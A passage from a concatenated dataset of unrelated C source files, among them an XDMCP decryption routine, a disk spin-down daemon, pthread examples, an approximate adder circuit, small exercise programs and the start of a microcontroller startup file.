s=0.5*(s+(b-a)*sum/tnm);
return s;
}
}
#undef FUNC
|
the_stack_data/1190999.c | /*
* $XConsortium: Unwrap.c,v 1.9 94/04/17 20:16:43 keith Exp $
*
*
Copyright (c) 1989 X Consortium
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of the X Consortium shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from the X Consortium.
* *
* Author: Keith Packard, MIT X Consortium
*/
#include <X11/Xos.h>
#include <X11/X.h>
#include <X11/Xmd.h>
#include <X11/Xdmcp.h>
#ifdef HASXDMAUTH
/*
* The following function exists only to demonstrate the
* desired functional interface for this routine. You will
* need to add the appropriate algorithm if you wish to
* use XDM-AUTHENTICATION-1/XDM-AUTHORIZATION-1.
*
* The interface for this routine is quite simple. All three
* arguments are arrays of 8 unsigned characters, the first two
* are 64 bits of useful data, the last is 56 bits of useful
* data packed into 8 bytes, using the low 7 bits of each
* byte, filling the high bit with odd parity.
*
* Examine the XDMCP specification for the correct algorithm
*/
#include "Wrap.h"
void
XdmcpUnwrap (input, wrapper, output, bytes)
unsigned char *input, *output;
unsigned char *wrapper;
int bytes;
{
int i, j, k;
unsigned char tmp[8];
unsigned char blocks[2][8];
unsigned char expand_wrapper[8];
auth_wrapper_schedule schedule;
_XdmcpWrapperToOddParity (wrapper, expand_wrapper);
_XdmcpAuthSetup (expand_wrapper, schedule);
k = 0;
for (j = 0; j < bytes; j += 8)
{
if (bytes - j < 8)
return; /* bad input length */
for (i = 0; i < 8; i++)
blocks[k][i] = input[j + i];
_XdmcpAuthDoIt ((unsigned char *) (input + j), (unsigned char *) tmp, schedule, 0);
/* block chaining */
k = (k == 0) ? 1 : 0;
for (i = 0; i < 8; i++)
{
if (j == 0)
output[j + i] = tmp[i];
else
output[j + i] = tmp[i] ^ blocks[k][i];
}
}
}
#endif /* HASXDMAUTH */
|
the_stack_data/48433.c | #include <stdio.h>
#include <stdlib.h>
int pr[16] ={2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53};
/* Function that returns the maximum number
of unique prime factors for any number
in the inclusive range [1,n] */
int factors (unsigned long long int n) {
unsigned long long int x = 1;
int i = 0;
while ( x <= n && i < 16 ) {
x = x * pr[i];
/* Some debug tests
(can help you understand this function)
int j;
printf("%d: %d", i, pr[0]);
for (j = 1; j <= i; ++j) {
printf(" * %d", pr[j]);
}
printf(" = %lld <? %lld\n", x, n); */
++i;
}
return i - 1;
}
int main() {
int t, i;
/* Really important to use at
least a usigned long long int variable,
if not there will be overflow */
unsigned long long int n;
scanf("%d", &t);
for (i = 1; i <=t; ++i) {
scanf("%lld", &n);
printf("%d\n", factors(n));
}
return 0;
}
|
the_stack_data/7950904.c | #if 0
#ifdef STM32F0xx
#include "stm32f0xx_hal_timebase_rtc_wakeup_template.c"
#endif
#ifdef STM32F2xx
#include "stm32f2xx_hal_timebase_rtc_wakeup_template.c"
#endif
#ifdef STM32F3xx
#include "stm32f3xx_hal_timebase_rtc_wakeup_template.c"
#endif
#ifdef STM32F4xx
#include "stm32f4xx_hal_timebase_rtc_wakeup_template.c"
#endif
#ifdef STM32F7xx
#include "stm32f7xx_hal_timebase_rtc_wakeup_template.c"
#endif
#endif /* 0 */
|
the_stack_data/140182.c | // File name: ExtremeC_examples_chapter11_1_barrier.c
// Description: This example demonstrates how to use barriers
// to synchronize two threads.
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h> // The POSIX standard header for using pthread library
// The barrier object
pthread_barrier_t barrier;
void* thread_body_1(void* arg) {
printf("A\n");
// Wait for the other thread to join
pthread_barrier_wait(&barrier);
return NULL;
}
void* thread_body_2(void* arg) {
// Wait for the other thread to join
pthread_barrier_wait(&barrier);
printf("B\n");
return NULL;
}
int main(int argc, char** argv) {
// Initialize the barrier object
pthread_barrier_init(&barrier, NULL, 2);
// The thread handlers
pthread_t thread1;
pthread_t thread2;
// Create new threads
int result1 = pthread_create(&thread1, NULL, thread_body_1, NULL);
int result2 = pthread_create(&thread2, NULL, thread_body_2, NULL);
if (result1 || result2) {
printf("The threads could not be created.\n");
exit(1);
}
// Wait for the threads to finish
result1 = pthread_join(thread1, NULL);
result2 = pthread_join(thread2, NULL);
if (result1 || result2) {
printf("The threads could not be joined.\n");
exit(2);
}
// Destroy the barrier object
pthread_barrier_destroy(&barrier);
return 0;
}
|
the_stack_data/22013773.c | //
// Created by zhangrongxiang on 2018/3/4.
//
#include <stdio.h>
int main() {
int arr[] = {4, 3, 7, 5, 2, 6, 8, 1, 9, 0};
int i = 0;
///////////////////////////////1///////////////////////////////////////
for (; i < 10 - 1; i++) {
if (arr[i] > arr[i + 1]) {
int temp = arr[i + 1];
arr[i + 1] = arr[i];
arr[i] = temp;
}
}
for (i = 0; i < 10; i++) {
printf("%d ", arr[i]);
}
printf("\n");
///////////////////////////////////2///////////////////////////////////
for (i = 0; i < 10 - 2; i++) {
if (arr[i] > arr[i + 1]) {
int temp = arr[i + 1];
arr[i + 1] = arr[i];
arr[i] = temp;
}
}
for (i = 0; i < 10; i++) {
printf("%d ", arr[i]);
}
//////.....///
return 0;
}
|
the_stack_data/215767388.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993
* This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published.
***/
#include <stdint.h>
#include <stdlib.h>
/// Approximate function add8_317
/// Library = EvoApprox8b
/// Circuit = add8_317
/// Area (180) = 804
/// Delay (180) = 1.440
/// Power (180) = 215.20
/// Area (45) = 58
/// Delay (45) = 0.550
/// Power (45) = 21.20
/// Nodes = 11
/// HD = 140448
/// MAE = 1.70312
/// MSE = 5.95312
/// MRE = 0.87 %
/// WCE = 7
/// WCRE = 100 %
/// EP = 71.5 %
uint16_t add8_317(uint8_t a, uint8_t b)
{
uint16_t c = 0;
uint8_t n2 = (a >> 1) & 0x1;
uint8_t n4 = (a >> 2) & 0x1;
uint8_t n6 = (a >> 3) & 0x1;
uint8_t n8 = (a >> 4) & 0x1;
uint8_t n10 = (a >> 5) & 0x1;
uint8_t n12 = (a >> 6) & 0x1;
uint8_t n14 = (a >> 7) & 0x1;
uint8_t n18 = (b >> 1) & 0x1;
uint8_t n20 = (b >> 2) & 0x1;
uint8_t n22 = (b >> 3) & 0x1;
uint8_t n24 = (b >> 4) & 0x1;
uint8_t n26 = (b >> 5) & 0x1;
uint8_t n28 = (b >> 6) & 0x1;
uint8_t n30 = (b >> 7) & 0x1;
uint8_t n32;
uint8_t n35;
uint8_t n40;
uint8_t n43;
uint8_t n82;
uint8_t n132;
uint8_t n182;
uint8_t n183;
uint8_t n232;
uint8_t n233;
uint8_t n282;
uint8_t n283;
uint8_t n332;
uint8_t n333;
uint8_t n382;
uint8_t n383;
n32 = ~(n20 & n4 & n18);
n35 = ~(n32 | n12 | n30);
n40 = ~(n35 & n2);
n43 = ~n40;
n82 = n2 | n18;
n132 = n4 | n20;
n182 = (n6 ^ n22) ^ n43;
n183 = (n6 & n22) | (n22 & n43) | (n6 & n43);
n232 = (n8 ^ n24) ^ n183;
n233 = (n8 & n24) | (n24 & n183) | (n8 & n183);
n282 = (n10 ^ n26) ^ n233;
n283 = (n10 & n26) | (n26 & n233) | (n10 & n233);
n332 = (n12 ^ n28) ^ n283;
n333 = (n12 & n28) | (n28 & n283) | (n12 & n283);
n382 = (n14 ^ n30) ^ n333;
n383 = (n14 & n30) | (n30 & n333) | (n14 & n333);
c |= (n40 & 0x1) << 0;
c |= (n82 & 0x1) << 1;
c |= (n132 & 0x1) << 2;
c |= (n182 & 0x1) << 3;
c |= (n232 & 0x1) << 4;
c |= (n282 & 0x1) << 5;
c |= (n332 & 0x1) << 6;
c |= (n382 & 0x1) << 7;
c |= (n383 & 0x1) << 8;
return c;
}
|
the_stack_data/1106459.c | /*
* sd-idle-2.6.c
*
* Copyright (C) 2010 Jeff Gibbons All Rights Reserved
*
* Author: Jeff Gibbons aka karog
* Date: Oct 1, 2010
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version. See the GNU General Public License
* for more details at:
*
* http://www.gnu.org/licenses/gpl.html
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* This program manages devices /dev/sdX 'a'<=X<='z' watching for idleness
* and spinning them down. It runs as a daemon. For usage do:
*
* sd-idle-2.6 --help
*
* Requires linux 2.6.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <scsi/scsi.h>
#include <scsi/sg.h>
#include <sys/ioctl.h>
#include <sys/utsname.h>
#include <time.h>
#include <unistd.h>
#define VERSION "1.00"
#define IDLETIME_DEFAULT 900
#define IDLETIME_MIN 300
#define CHECKTIME_DEFAULT 30
#define CHECKTIME_MIN 5
// log to stdout if non-zero else to syslog
static
int
_log_stdout;
// time in seconds a disk must be idle before being spun down
static
int
_idletime = IDLETIME_DEFAULT;
// time in seconds disks have been idle
static
int
_idletimes [ 26 ];
// time in seconds to sleep between idle checks
static
int
_checktime = CHECKTIME_DEFAULT;
// time in seconds between transitions, up and down
static
time_t
_transtimes [ 26 ];
#define TRANSTIME_BUF_SIZE 128
#define _bit_clear( bits, b ) bits &= ~( 1 << ( b ) )
#define _bit_set( bits, b ) bits |= ( 1 << ( b ) )
#define _is_bit_clear( bits, b ) ( 0 == ( bits & ( 1 << ( b ) ) ) )
#define _is_bit_set( bits, b ) ( 0 != ( bits & ( 1 << ( b ) ) ) )
// bits indicating if a disk is being managed
static
uint32_t
_managing = -1;
// bits indicating if a disk is spinning
static
uint32_t
_spinning = -1;
// I/O stats for disks
static
char
_diskstats [ 26 ] [ 160 ];
static void _check_linux_version ( void );
static void _parse_options ( int argc, char * argv [ ] );
static void _manage ( void );
static void _log ( int level, const char * fmt, ... );
int
main (
int argc,
char * argv [ ] )
{
openlog ( basename ( argv [ 0 ] ), LOG_PID, LOG_USER );
_check_linux_version();
_parse_options ( argc, argv );
daemon ( 0, 0 );
_log ( LOG_INFO, "initialized" );
_manage ( );
return EXIT_SUCCESS;
}
static
void
_log (
int level,
const char * fmt,
... )
{
va_list arg_list;
va_start ( arg_list, fmt );
if ( _log_stdout )
vprintf ( fmt, arg_list );
else
vsyslog ( level, fmt, arg_list );
va_end ( arg_list );
}
static
void
_check_linux_version (
void )
{
struct utsname name;
if ( 0 > uname ( &name ) )
{
_log ( LOG_ERR, "Failure to get linux version number: %s", strerror ( errno ) );
exit ( EXIT_FAILURE );
}
switch ( name.release [ 2 ] )
{
case '6':
return;
default:
_log ( LOG_ERR, "Wrong linux version: %s; must be 2.6; exiting", name.release );
exit ( EXIT_FAILURE );
}
}
static
void
_usage (
char * progname,
int exit_status )
{
progname = basename ( progname );
_log ( LOG_INFO, "Usage: ( runs as a daemon )\n" );
_log ( LOG_INFO, " %s [ -d devices ] [ -i idletime ] [ -c checktime ] [ -h --help ] [ -v --version ]\n", progname);
_log ( LOG_INFO, " -d [a-z]+ include where a => /dev/sda, b => /dev/sdb (default is all disks)\n" );
_log ( LOG_INFO, " ![a-z]+ exclude\n" );
_log ( LOG_INFO, " -i n n seconds a disk must be idle to spin it down (default %d, min %d)\n",
IDLETIME_DEFAULT, IDLETIME_MIN );
_log ( LOG_INFO, " -c n n seconds to sleep between idle checks (default %d, min %d)\n",
CHECKTIME_DEFAULT, CHECKTIME_MIN);
_log ( LOG_INFO, " -h --help usage\n" );
_log ( LOG_INFO, " -v --version version\n" );
_log ( LOG_INFO, " for example:\n" );
_log ( LOG_INFO, " %s will manage all disks with default times\n", progname );
_log ( LOG_INFO, " %s -d bc will manage /dev/sdb, /dev/sdc with default times\n", progname );
_log ( LOG_INFO, " %s -d !bc will manage all disks except /dev/sdb, /dev/sdc with default times\n", progname );
_log ( LOG_INFO, " %s -i 600 will manage all disks spinning down after 600 seconds or 10 minutes\n", progname );
exit ( exit_status );
}
static
char *
_get_param (
int argc,
char * argv [ ],
int a,
char * option )
{
if ( a < argc )
return argv [ a ];
_log ( LOG_ERR, "Missing parameter for option: %s; exiting", option );
exit ( EXIT_FAILURE );
}
static
void
_set_disks (
char * disks )
{
int include = 1;
switch ( *disks )
{
case 0: // empty so default to all
return;
case '!': // exclude
include = 0;
disks++;
break;
default: // include
_managing = 0;
break;
}
for ( ; 0 != *disks; disks++ )
{
if ( ( *disks < 'a' ) || ( 'z' < *disks ) )
{
_log ( LOG_WARNING, "Invalid disk: %c; must be among [a-z]; ignoring", *disks );
continue;
}
if ( include )
_bit_set ( _managing, *disks - 'a' );
else
_bit_clear ( _managing, *disks - 'a' );
}
if ( 0 == _managing )
{
_log ( LOG_ERR, "No disks specified to be managed; exiting" );
exit ( 1 );
}
}
static
void
_set_idletime (
char * idletime )
{
char * endp;
_idletime = strtol ( idletime, &endp, 10 );
if ( ( 0 != *idletime ) && ( 0 == *endp ) )
{
if ( _idletime < IDLETIME_MIN )
{
_log ( LOG_WARNING, "IDLETIME set too small which is bad for disks: %d; setting to minimum %d",
_idletime, IDLETIME_MIN );
_idletime = IDLETIME_MIN;
}
return;
}
_log ( LOG_WARNING, "Invalid idletime: %s; using default %d", idletime, IDLETIME_DEFAULT );
_idletime = IDLETIME_DEFAULT;
}
static
void
_set_checktime (
char * checktime )
{
char * endp;
_checktime = strtol ( checktime, &endp, 10 );
if ( ( 0 != *checktime ) && ( 0 == *endp ) )
{
if ( _checktime < CHECKTIME_MIN )
{
_log ( LOG_WARNING, "CHECKTIME set too small: %d; setting to minimum %d",
_checktime, CHECKTIME_MIN );
_checktime = CHECKTIME_MIN;
}
return;
}
_log ( LOG_WARNING, "Invalid checktime: %s; using default %d", checktime, CHECKTIME_DEFAULT );
_checktime = CHECKTIME_DEFAULT;
}
static
void
_parse_options (
int argc,
char * argv [ ] )
{
int a;
for ( a = 1; a < argc; a++ )
{
if ( !strcmp ( "-h", argv [ a ] ) || !strcmp ( "--help", argv [ a ] ) )
{
_log_stdout = 1;
_usage ( argv [ 0 ], EXIT_SUCCESS );
}
if ( !strcmp ( "-v", argv [ a ] ) || !strcmp ( "--version", argv [ a ] ) )
{
_log_stdout = 1;
_log ( LOG_INFO, "%s version %s\n", basename ( argv [ 0 ] ), VERSION );
exit ( EXIT_SUCCESS );
}
}
for ( a = 1; a < argc; a++ )
{
if ( !strcmp ( "-d", argv [ a ] ) )
{
_set_disks ( _get_param ( argc, argv, ++a, "-d" ) );
continue;
}
if ( !strcmp ( "-i", argv [ a ] ) )
{
_set_idletime ( _get_param ( argc, argv, ++a, "-i" ) );
continue;
}
if ( !strcmp ( "-c", argv [ a ] ) )
{
_set_checktime ( _get_param ( argc, argv, ++a, "-c" ) );
continue;
}
_log ( LOG_ERR, "Unknown option: %s; exiting", argv [ a ] );
_usage ( argv [ 0 ], EXIT_FAILURE );
}
}
static
void
_disk_stop (
int disk )
{
sg_io_hdr_t sg_io_hdr;
unsigned char sense_data [ 255 ];
char device [ 16 ];
int fd;
memset( &sg_io_hdr, 0, sizeof ( sg_io_hdr ) );
sg_io_hdr.interface_id = 'S';
sg_io_hdr.dxfer_direction = SG_DXFER_NONE;
// STOP cmd
sg_io_hdr.cmdp = ( unsigned char [ ] ) { START_STOP, 0x0, 0x0, 0x0, 0x0, 0x0 };
sg_io_hdr.cmd_len = 6;
// sense data
sg_io_hdr.sbp = sense_data;
sg_io_hdr.mx_sb_len = sizeof ( sense_data );
sprintf ( device, "/dev/sd%c", 'a' + disk );
if ( 0 > (fd = open ( device, O_RDONLY ) ) )
{
_log ( LOG_WARNING, "Failure to open %s for spinning down: %s", device, strerror ( errno ) );
return;
}
if ( 0 > ioctl ( fd, SG_IO, &sg_io_hdr ) )
{
_log ( LOG_WARNING, "Failure to spin down %s: %s", device, strerror ( errno ) );
_log ( LOG_WARNING, "Sense data: %s", sense_data );
}
if ( 0 != sg_io_hdr.status )
_log ( LOG_WARNING, "Non-zero status spinning down %s: %d", device, sg_io_hdr.status );
close ( fd );
}
static
char *
_transition_message (
int disk,
char * direction,
char * buf)
{
time_t then, now;
int days, hours, mins, secs;
char * bufp;
bufp = buf + sprintf ( buf, "spinning %s /dev/sd%c", direction, 'a' + disk );
then = _transtimes [ disk ];
_transtimes [ disk ] = time ( &now );
// if this is the first time, no interval to include in message
if ( 0 == then )
return buf;
bufp += sprintf ( bufp, " after " );
secs = now - then;
days = secs / 86400;
secs -= days * 86400;
hours = secs / 3600;
secs -= hours * 3600;
mins = secs / 60;
secs -= mins * 60;
if ( days ) bufp += sprintf ( bufp, "%d days " , days );
if ( hours ) bufp += sprintf ( bufp, "%d hours ", hours );
if ( mins ) bufp += sprintf ( bufp, "%d mins " , mins );
if ( secs ) bufp += sprintf ( bufp, "%d secs " , secs );
return buf;
}
static
void
_disk_idle (
int disk )
{
char msg_buf [ TRANSTIME_BUF_SIZE ];
// increment idle time
_idletimes [ disk ] += _checktime;
// if was not spinning or not enough ilde time
if ( _is_bit_clear ( _spinning, disk ) || ( _idletime > _idletimes [ disk ] ) )
return;
_log ( LOG_INFO, "%s", _transition_message ( disk, "down", msg_buf ) );
_disk_stop ( disk );
_bit_clear ( _spinning, disk );
}
static
void
_disk_active (
int disk,
char * diskstats_line )
{
char msg_buf [ TRANSTIME_BUF_SIZE ];
// if was not spinning, inform spinning up
if ( _is_bit_clear ( _spinning, disk ) )
{
_log ( LOG_INFO, "%s", _transition_message ( disk, "up", msg_buf ) );
_bit_set ( _spinning, disk );
}
_idletimes [ disk ] = 0;
strcpy ( _diskstats [ disk ], diskstats_line );
}
static
void
_manage_diskstats_line (
char * diskstats_line )
{
char * sd;
char * io;
int disk;
int i;
// look for " sdX " with 'a' <= X <= 'z'
if ( NULL == ( sd = strstr ( diskstats_line, " sd" ) ) || ( ' ' != sd [ 4 ] ) ||
( ( disk = sd [ 3 ] ) < 'a' ) || ( 'z' < disk ) )
return;
disk -= 'a';
if ( _is_bit_clear ( _managing, disk ) )
return;
if ( strlen ( diskstats_line ) >= sizeof ( _diskstats [ 0 ] ) )
{
_log ( LOG_WARNING, "/proc/diskstats line too long: %s; ignoring", diskstats_line );
return;
}
// remove prefix through device name
diskstats_line = sd + 5;
// find I/O in progress
for ( i = 0, io = diskstats_line; ( i < 8 ) && ( NULL != ( io = strchr ( ++io, ' ' ) ) ); i++ );
if ( NULL == io )
{
_log ( LOG_WARNING, "Missing I/O in progress stat for device: sd%c", 'a' + disk );
return;
}
// check for idleness
if ( ( '0' == *++io ) && !strcmp ( _diskstats [ disk ], diskstats_line ) )
_disk_idle ( disk );
else
_disk_active ( disk, diskstats_line );
}
static
void
_manage (
void )
{
FILE * proc_diskstats;
char diskstats [ 256 ];
for ( ; ; )
{
// open /proc/diskstats
proc_diskstats = fopen ( "/proc/diskstats", "r" );
if ( NULL == proc_diskstats )
{
_log ( LOG_ERR, "Failure to open /proc/diskstats: %d - %s", errno, strerror ( errno ) );
exit ( EXIT_FAILURE );
}
// process each line
while ( NULL != fgets ( diskstats, sizeof ( diskstats ), proc_diskstats ) )
_manage_diskstats_line ( diskstats );
fclose ( proc_diskstats );
sleep ( _checktime );
}
}
|
the_stack_data/176706289.c | #ifdef DEBUG
/* symtest.c: test output module for SYM subsystem.
*/
#include <qwindows.h>
#include <qsetjmp.h>
#include <el.h>
#include "eltools.h"
#define EXTERN extern
#include "priv.h"
#include "sym.h"
#include "_sym.h"
csconst BYTE mpelvcbVar[] =
{
0, cbNumVar, cbIntVar, cbSdVar, cbAdVar, cbFormalVar, cbEnvVar};
#define CbVarFromElv(elv) (FRecordElv(elv) ? cbRecordVar \
: mpelvcbVar[elv])
csconst char mpsytsz[][] = {
"sytNil", "sytProc", "sytVar", "sytExternal"};
/* %%Function:PrintSyt %%Owner:bradch */
PrintSyt(syt)
{
PrintTLsz(mpsytsz[syt], 0);
}
/* %%Function:ToPsy %%Owner:bradch */
ToPsy(psy)
/* Prints an ASCII representation of a newly created SY.
*/
struct SY *psy;
{
struct SY huge *hpsy = HpOfSbIb(Global(sbNtab), psy);
unsigned ich, cch;
PrintT("SYM: created SY \"", 0);
cch = hpsy->st[0];
if (cch > cchIdentMax)
cch = cchIdentMax; /* in case data is trashed */
PrintHst(hpsy->st);
PrintT("\" at offset %u\n", (WORD)psy);
DumpNtab();
}
/* %%Function:DumpSymbols %%Owner:bradch */
DumpSymbols()
/* Prints an ASCII representation of the symbol table.
*/
{
DumpNtab();
DumpFrame();
}
/* %%Function:DumpNtab %%Owner:bradch */
DumpNtab()
{
int iwHash;
PrintT("SYM: Symbol table dump ...\n", 0);
for (iwHash = 0; iwHash < cwHash; iwHash++)
{
struct SY *psy;
psy = *(HpNtab(rgpsyHash) + iwHash);
if (psy == 0)
continue;
do
{
int ich;
struct SY huge *hpsy = HpOfSbIb(Global(sbNtab), psy);
PrintHst(hpsy->st);
PrintT(" (", 0);
PrintSyt(hpsy->syt);
PrintT(")\n", 0);
psy = *HpOfSbIb(Global(sbNtab), &psy->psyNext);
}
while (psy != 0);
}
PrintT("SYM: end of symbol table dump.\n", 0);
}
/* %%Function:DumpFrame %%Owner:bradch */
DumpFrame()
{
struct FH huge *hpfh;
struct VAR huge *hpvar;
PrintT("SYM: ||| FRAME DUMP, pfh = %u\n", (WORD)Global(pfhCurFrame));
hpfh = HpOfSbIb(sbFrame, Global(pfhCurFrame));
for (hpvar = hpfh->rgvar; IbOfHp(hpvar) < *HpFrame(ibMac);
hpvar = (char huge *)hpvar + CbVarFromElv(hpvar->elv))
{
PrintT("SYM: ||| VAR \"", 0);
if (hpvar->psy == psyNil)
PrintT("(temp)", 0);
else
{
PrintHst(((struct SY huge *)
HpOfSbIb(Global(sbNtab), hpvar->psy))->st);
}
PrintT("\" (", 0);
PrintElv(hpvar->elv);
PrintT(")", 0);
switch (hpvar->elv)
{
default:
break;
case elvFormal:
{
struct VAR huge *hpvarRef = HpvarOfPvar(hpvar->pvar);
PrintT(" --> (", 0);
PrintElv(hpvarRef->elv);
PrintT(")", 0);
switch (hpvarRef->elv)
{
default:
break;
case elvNum:
PrintT(" = ", 0);
OutHpnum(&hpvarRef->num);
break;
case elvSd:
PrintT(" @ %u", hpvarRef->sd);
PrintT(" = ", 0);
PrintHs16(Hs16FromSd(hpvarRef->sd));
break;
}
break;
}
case elvNum:
PrintT(" = ", 0);
OutHpnum(&hpvar->num);
break;
}
PrintT("\n", 0);
}
PrintT("SYM: ||| END OF FRAME DUMP\n", 0);
}
/* %%Function:OutPvar %%Owner:bradch */
OutPvar(pvar)
struct VAR *pvar;
{
struct VAR huge *hpvar = HpOfSbIb(sbFrame, pvar);
PrintT("VAR: created variable \"", 0);
if (hpvar->psy == psyNil)
PrintT("(temp)", 0);
else
{
struct SY huge *hpsy = HpOfSbIb(Global(sbNtab), hpvar->psy);
PrintHst(hpsy->st);
}
PrintT("\" (", 0);
PrintElv(hpvar->elv);
PrintT(")\n", 0);
}
/* %%Function:OutPlab %%Owner:bradch */
OutPlab(plab, psy)
struct LAB *plab;
{
struct LAB huge *hplab = HpOfSbIb(Global(sbNtab), plab);
struct SY huge *hpsy = HpOfSbIb(Global(sbNtab), psy);
PrintT("SYM: defined label \"", 0);
PrintHst(hpsy->st);
PrintT("\"; plab = %u\n", plab);
}
#endif /* DEBUG */
|
the_stack_data/20449343.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void func_hello()
{
printf("Hello, World!\n");
return;
}
int main(int argc, const char **argv)
{
printf("sleep 3600 seconds...\n");
sleep(3600);
printf("wake up.\n");
func_hello();
return 0;
}
|
the_stack_data/217161.c | #include <stdio.h>
#include <string.h>
int main()
{
char s[1000];
int c[26]={0},i;
fgets(s,1000,stdin);
for(i=0;s[i]!='\0';i++){
if(s[i]>='A'&&s[i]<='Z'){s[i]=s[i]+32;}
}
for(i=0;s[i]!='\0';i++){
if(s[i]>='a'&&s[i]<='z'){c[s[i]-'a']++;}
}
i=0;
while(i<26){
if(c[i]!=0){printf("%c - %d\n",i+'a',c[i]);}
i++;
}
return 0;
}
|
the_stack_data/206392539.c | #include <pthread.h>
#include <stdio.h>
int g1, g2;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;
void *t1(void *arg) {
pthread_mutex_lock(&mutex1);
pthread_mutex_lock(&mutex2);
g1 = g2 + 1;
pthread_mutex_unlock(&mutex2);
pthread_mutex_unlock(&mutex1);
return NULL;
}
void *t2(void *arg) {
pthread_mutex_lock(&mutex1);
pthread_mutex_lock(&mutex2);
g2 = g1 + 1;
pthread_mutex_unlock(&mutex2);
pthread_mutex_unlock(&mutex1);
return NULL;
}
int main(void) {
pthread_t id1, id2;
int i;
for (i = 0; i < 10000; i++) {
pthread_create(&id1, NULL, t1, NULL);
pthread_create(&id2, NULL, t2, NULL);
pthread_join (id1, NULL);
pthread_join (id2, NULL);
printf("%d: g1 = %d, g2 = %d.\n", i, g1, g2);
}
return 0;
}
|
the_stack_data/136904.c | #include <stdio.h>
int main()
{
printf("hello world\\");
return 0;
} |
the_stack_data/70239.c | /*
* Calculates a broker's comission.
*/
#include <stdio.h>
int main(void)
{
int number_of_shares;
float price_per_share;
float value, comission, rival_comission;
printf("Enter number of shares: ");
(void)scanf("%d", &number_of_shares);
printf("Enter price per share: ");
(void)scanf("%f", &price_per_share);
value = price_per_share * number_of_shares;
while (value > 0.00f) {
if (value < 2500.00f)
comission = 30.00f + value * .017f;
else if (value < 6250.00f)
comission = 56.00f + value * .0066f;
else if (value < 20000.00f)
comission = 76.00f + value * .0034f;
else if (value < 50000.00f)
comission = 100.00f + value * .0022f;
else if (value < 500000.00f)
comission = 155.00f + value * .0011f;
else
comission = 255.00f + value * .0009f;
if (comission < 39.00f)
comission = 39.00f;
rival_comission = 33.00f;
if (number_of_shares < 2000)
rival_comission += 0.03f * number_of_shares;
else
rival_comission += 0.02f * number_of_shares;
printf("Comission: $%.2f\n", comission);
printf("Rival comission: $%.2f\n", rival_comission);
printf("Enter number of shares: ");
(void)scanf("%d", &number_of_shares);
printf("Enter price per share: ");
(void)scanf("%f", &price_per_share);
value = price_per_share * number_of_shares;
}
return 0;
}
|
the_stack_data/36075909.c | /*
* @file startup_efr32fg12p.c
* @brief CMSIS Compatible EFR32FG12P startup file in C.
* Should be used with GCC 'GNU Tools ARM Embedded'
* @version 5.1.3
* Date: 12 June 2014
*
*/
/* Copyright (c) 2011 - 2014 ARM LIMITED
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of ARM nor the names of its contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
*
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------*/
#include <stdint.h>
/*----------------------------------------------------------------------------
Linker generated Symbols
*----------------------------------------------------------------------------*/
extern uint32_t __etext;
extern uint32_t __data_start__;
extern uint32_t __data_end__;
extern uint32_t __copy_table_start__;
extern uint32_t __copy_table_end__;
extern uint32_t __zero_table_start__;
extern uint32_t __zero_table_end__;
extern uint32_t __bss_start__;
